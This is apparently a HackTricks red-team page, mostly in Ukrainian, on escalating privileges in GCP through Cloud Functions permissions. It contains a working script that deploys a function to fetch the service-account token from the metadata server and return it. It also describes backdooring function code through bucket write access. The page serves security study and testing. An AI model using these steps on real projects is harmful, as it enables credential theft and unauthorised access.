GCP - Cloudfunctions Privesc

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

cloudfunctions

Більше інформації про Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Зловмисник з такими привілеями може create a new Cloud Function with arbitrary (malicious) code and assign it a Service Account. Потім, leak the Service Account token from the metadata to escalate privileges to it.
Можуть знадобитися додаткові привілеї для тригеру функції.

Exploit scripts for this method can be found here and here and the prebuilt .zip file can be found here.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Зловмисник з такими привілеями може modify the code of a Function and even modify the service account attached з метою exfiltrating the token.

Caution

Щоб розгорнути cloud functions, вам також знадобляться actAs permissions над default compute service account або над service account, який використовується для збірки образу.

Деякі додаткові привілеї, такі як .call permission для версії 1 cloudfunctions або роль role/run.invoker для виклику функції, можуть знадобитися.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Caution

Якщо ви отримуєте помилку Permission 'run.services.setIamPolicy' denied on resource..., це тому, що ви використовуєте параметр --allow-unauthenticated і у вас недостатньо дозволів для цього.

The exploit script for this method can be found here.

cloudfunctions.functions.sourceCodeSet

З цим дозволом ви можете отримати signed URL, щоб завантажити файл у function bucket (але код функції не зміниться, його все одно потрібно оновити)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Не зовсім ясно, наскільки корисним є лише цей дозвіл з точки зору атакуючого, але корисно знати.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Надайте собі будь-який із попередніх .update або .create привілеїв, щоб підвищити привілеї.

gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"

cloudfunctions.functions.update

Маючи лише дозволи cloudfunctions, без iam.serviceAccounts.actAs ви не зможете оновити функцію — тому це не дійсний PRIVESC.

Виклик функцій

З дозволами cloudfunctions.functions.get, cloudfunctions.functions.invoke, run.jobs.run та run.routes.invoke ідентичність може безпосередньо викликати Cloud Functions. Також необхідно, щоб функція дозволяла публічний трафік або щоб викликач знаходився в тій же мережі, що й сама функція.

curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{  "name": "Developer" }'

Доступ на читання та запис до bucket

Якщо у вас є доступ на читання та запис до bucket, ви можете моніторити зміни в коді і щойно відбувається оновлення в bucket, ви можете замінити новий код власним кодом, через що нова версія Cloud Function виконуватиметься з підставленим бекдорованим кодом.

Ви можете дізнатися більше про атаку в:

GCP - Storage Privesc

Однак цього не можна використати для попередньої компрометації Cloud Functions третіх сторін, бо якщо ви створите bucket у своєму обліковому записі й надасте йому публічні права, щоб зовнішній проєкт міг записувати в нього, ви отримаєте таку помилку:

Caution

Проте це може бути використано для DoS-атак.

Доступ на читання та запис до Artifact Registry

Коли створюється Cloud Function, новий docker image пушиться в Artifact Registry проєкту. Я намагався замінити образ на новий, і навіть видалити поточний образ (та cache image), але нічого не змінилося — Cloud Function продовжувала працювати. Тому, можливо, можна зловживати Race Condition attack як з bucket, щоб змінити docker-контейнер, який буде запущено, але лише модифікація збереженого образу не дозволяє скомпрометувати Cloud Function.

Джерела

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks